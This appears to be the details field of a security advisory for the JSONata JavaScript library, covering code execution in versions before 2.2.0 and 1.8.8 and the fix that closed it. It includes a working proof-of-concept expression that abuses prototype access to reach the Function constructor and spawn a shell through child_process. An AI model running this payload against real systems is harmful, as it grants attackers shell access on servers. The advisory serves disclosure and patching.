"details": "## Impact\n\nBefore JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function:\nhttps://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705\n\nThis was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n __lookupSetter__('__proto__')(constructor);\n __defineGetter__('l', constructor(\"return\nprocess.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()\"));\n valueOf().l\n)\n`);\n\nawait expression.evaluate({});\n```",
